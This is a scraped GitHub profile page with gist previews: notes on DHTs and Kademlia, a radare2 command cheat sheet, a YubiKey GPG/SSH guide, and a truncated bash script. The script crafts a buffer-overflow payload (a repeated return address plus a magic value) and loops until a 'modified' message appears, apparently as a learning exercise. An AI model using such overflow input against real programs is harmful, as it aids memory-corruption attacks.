Skip to content

Instantly share code, notes, and snippets.

View TheDuchy's full-sized avatar
🤓
Learning low level stuff

Jan Neduchal TheDuchy

🤓
Learning low level stuff
View GitHub Profile
@gubatron
gubatron / dht-walkthrough.md
Last active November 5, 2024 18:35
DHT walkthrough notes

DHT Walkthrough Notes

I've put together these notes as I read about DHT's in depth and then learned how the libtorrent implementation based on the Kademlia paper actually works.

What problem does this solve?

400,000,000,000 (400 billion stars), that's a 4 followed by 11 zeros. The number of atoms in the universe is estimated to be around 10^82. A DHT with keys of 160 bits, can have 2^160 possible numbers, which is around 10^48

radare2

load without any analysis (file header at offset 0x0): r2 -n /path/to/file

  • analyze all: aa
  • show sections: iS
  • list functions: afl
  • list imports: ii
  • list entrypoints: ie
  • seek to function: s sym.main
#!/bin/bash
ulimit -c 0
export LIBC_FATAL_STDERR_=1
python -c 'print "\xcc\x84\x04\x08"*16 + "\x00\x03\x02\x01" + "DDDD"' > input.bin
output=""
COUNTER=0
while [[ ! $output =~ "modified" ]]; do
MOD=$(( $COUNTER % 1000 ))
@ageis
ageis / YubiKey-GPG-SSH-guide.md
Last active October 30, 2024 07:49
Technical guide for using YubiKey series 4 for GPG and SSH

YubiKey 4 series GPG and SSH setup guide

Written for fairly adept technical users, preferably of Debian GNU/Linux, not for absolute beginners.

You'll probably be working with a single smartcard, so you'll want only one primary key (1. Sign & Certify) and two associated subkeys (2. Encrypt, 3. Authenticate). I've published a Bash function which automates this slightly special key generation process.